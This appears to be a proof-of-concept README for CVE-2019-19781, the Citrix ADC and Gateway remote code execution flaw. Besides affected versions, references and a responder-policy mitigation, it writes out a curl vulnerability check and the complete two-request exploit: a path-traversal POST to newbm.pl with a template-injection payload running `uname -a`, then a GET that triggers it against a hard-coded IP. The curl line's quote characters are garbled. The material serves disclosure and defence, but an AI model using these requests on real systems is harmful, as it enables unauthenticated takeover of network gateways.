CVE-2019-19781
Remote Code Execution (RCE) in Citrix Application Delivery Controller and Citrix Gateway
A vulnerability has been identified in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
EDIT: Indicator of Compromise Scanner for CVE-2019-19781 from Fireeye -> https://github.com/fireeye/ioc-scanner-CVE-2019-19781/
Products affected:
- Citrix ADC and Citrix Gateway version 13.0 all supported builds
- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
Check if vulnerable
TARGET=your_ip
curl -vk โpath-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep โYou donโt have permission to access /vpns/โ >/dev/null && echo โVULNERABLE: $TARGETโ || echo โMITIGATED: $TARGETโVulnerable Perl script
POST /vpn/../vpns/portal/scripts/newbm.pl
POST /vpn/../vpns/portal/scripts/rmbm.pl
GET /vpn/../vpns/portal/scripts/picktheme.pl
Exploit
Only two requests are needed to exploit this vulnerability without any authentication !
First request:
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close
Content-Length: 103
url=http://exemple.com&title=[%t=template.new({'BLOCK'='print `uname -a`'})%][% t %]&desc=test&UI_inuse=RfWeb
Second request:
GET /vpns/portal/bonclay4.xml HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close
Detailed analysis (english):
- Craig Young => https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
- @MDSecLabs => https://www.mdsec.co.uk/2020/01/deep-dive-in-to-citrix-adc-remote-code-execution-cve-2019-19781/
- @mpgn_x64 => https://twitter.com/mpgn_x64/status/1214544993261674497
Security advisory:
Patch (not a real patch)
enable ns feature responder
add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\""
add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403
bind responder global ctx267027 1 END -type REQ_OVERRIDE
save config